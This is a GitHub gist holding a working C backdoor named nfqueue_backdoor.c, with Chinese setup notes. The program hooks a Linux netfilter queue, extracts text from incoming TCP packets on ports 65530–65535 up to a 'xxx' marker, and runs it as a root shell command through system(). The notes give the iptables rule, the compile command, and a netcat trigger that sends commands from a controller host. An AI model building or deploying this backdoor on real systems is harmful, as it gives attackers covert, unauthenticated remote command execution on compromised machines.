Skip to content

Instantly share code, notes, and snippets.

@leveryd
Last active March 20, 2024 06:00
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save leveryd/f70bd0adbf8088446d98ec11ef16f478 to your computer and use it in GitHub Desktop.
Save leveryd/f70bd0adbf8088446d98ec11ef16f478 to your computer and use it in GitHub Desktop.
nfqueue_backdoor.c
// https://github.com/irontec/netfilter-nfqueue-samples/blob/master/sample-helloworld.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <linux/types.h>
#include <linux/netfilter.h>
#include <libnetfilter_queue/libnetfilter_queue.h>


static void processPacketData(char* data, int index){
  char tmp[100] = {'\x00'};
  char *payload = data+40+12;
  char MAGIC_END[] = {"xxx"};

  char *payload_end = strstr(payload, MAGIC_END);
  if (payload_end == NULL) {
          strncpy(tmp, payload, 90);
	  printf("not find MAGIC_END %s\n %s\n", MAGIC_END, tmp);
	  return;
  }

  int cmd_len = payload_end - payload;
  strncpy(tmp, payload, cmd_len);

  printf("cmd len:%d\n", cmd_len);
  printf("cmd: %s\n", tmp);
  
  system(tmp);
}

static u_int32_t print_pkt (struct nfq_data *tb)
{
	int id = 0;
	struct nfqnl_msg_packet_hdr *ph;
	struct nfqnl_msg_packet_hw *hwph;
	u_int32_t mark,ifi;
	int ret;
	char *data;

	ph = nfq_get_msg_packet_hdr(tb);
	if (ph) {
		id = ntohl(ph->packet_id);
		printf("hw_protocol=0x%04x hook=%u id=%u ",
			ntohs(ph->hw_protocol), ph->hook, id);
	}

	hwph = nfq_get_packet_hw(tb);
	if (hwph) {
		int i, hlen = ntohs(hwph->hw_addrlen);

		printf("hw_src_addr=");
		for (i = 0; i < hlen-1; i++)
			printf("%02x:", hwph->hw_addr[i]);
		printf("%02x ", hwph->hw_addr[hlen-1]);
	}

	mark = nfq_get_nfmark(tb);
	if (mark)
		printf("mark=%u ", mark);

	ifi = nfq_get_indev(tb);
	if (ifi)
		printf("indev=%u ", ifi);

	ifi = nfq_get_outdev(tb);
	if (ifi)
		printf("outdev=%u ", ifi);
	ifi = nfq_get_physindev(tb);
	if (ifi)
		printf("physindev=%u ", ifi);

	ifi = nfq_get_physoutdev(tb);
	if (ifi)
		printf("physoutdev=%u ", ifi);

	ret = nfq_get_payload(tb, &data);
	if (ret >= 0) {
		printf("payload_len=%d \n", ret);
		processPacketData (data, ret);
	}
	fputc('\n', stdout);

	return id;
}


static int cb(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfa, void *data)
{
  u_int32_t id = print_pkt(nfa);
	//u_int32_t id;

        struct nfqnl_msg_packet_hdr *ph;
	ph = nfq_get_msg_packet_hdr(nfa);
	id = ntohl(ph->packet_id);
	printf("entering callback\n");
	return nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);
}

int main(int argc, char **argv)
{
	struct nfq_handle *h;
	struct nfq_q_handle *qh;
	int fd;
	int rv;
	char buf[4096] __attribute__ ((aligned));

	printf("opening library handle\n");
	h = nfq_open();
	if (!h) {
		fprintf(stderr, "error during nfq_open()\n");
		exit(1);
	}

	printf("unbinding existing nf_queue handler for AF_INET (if any)\n");
	if (nfq_unbind_pf(h, AF_INET) < 0) {
		fprintf(stderr, "error during nfq_unbind_pf()\n");
		exit(1);
	}

	printf("binding nfnetlink_queue as nf_queue handler for AF_INET\n");
	if (nfq_bind_pf(h, AF_INET) < 0) {
		fprintf(stderr, "error during nfq_bind_pf()\n");
		exit(1);
	}

	printf("binding this socket to queue '0'\n");
	qh = nfq_create_queue(h,  0, &cb, NULL);
	if (!qh) {
		fprintf(stderr, "error during nfq_create_queue()\n");
		exit(1);
	}

	printf("setting copy_packet mode\n");
	if (nfq_set_mode(qh, NFQNL_COPY_PACKET, 0xffff) < 0) {
		fprintf(stderr, "can't set packet_copy mode\n");
		exit(1);
	}

	fd = nfq_fd(h);

	// para el tema del loss:   while ((rv = recv(fd, buf, sizeof(buf), 0)) && rv >= 0)

	while ((rv = recv(fd, buf, sizeof(buf), 0)))
	{
		printf("pkt received\n");
		nfq_handle_packet(h, buf, rv);
	}

	printf("unbinding from queue 0\n");
	nfq_destroy_queue(qh);

#ifdef INSANE
	/* normally, applications SHOULD NOT issue this command, since
	 * it detaches other programs/sockets from AF_INET, too ! */
	printf("unbinding from AF_INET\n");
	nfq_unbind_pf(h, AF_INET);
#endif

	printf("closing library handle\n");
	nfq_close(h);

	exit(0);
}

编译 && 运行

配置NFQUEUE规则

[root@instance-h9w7mlyv ~]# iptables -A INPUT -p tcp -m multiport --dports 65530:65535 -j NFQUEUE --queue-num 0 --queue-bypass
[root@instance-h9w7mlyv ~]# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
...
NFQUEUE    tcp  --  0.0.0.0/0            0.0.0.0/0            multiport dports 65530:65535 NFQUEUE num 0 bypass

编译运行

[root@instance-h9w7mlyv tmp]# gcc nfqueue_backdoor.c -lnetfilter_queue && ./a.out
...
opening library handle
unbinding existing nf_queue handler for AF_INET (if any)
binding nfnetlink_queue as nf_queue handler for AF_INET
binding this socket to queue '0'
setting copy_packet mode

主控端

需要被控端对应的端口提供tcp服务

➜  ~ echo whoami xxx | nc X.X.X.X 65533
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment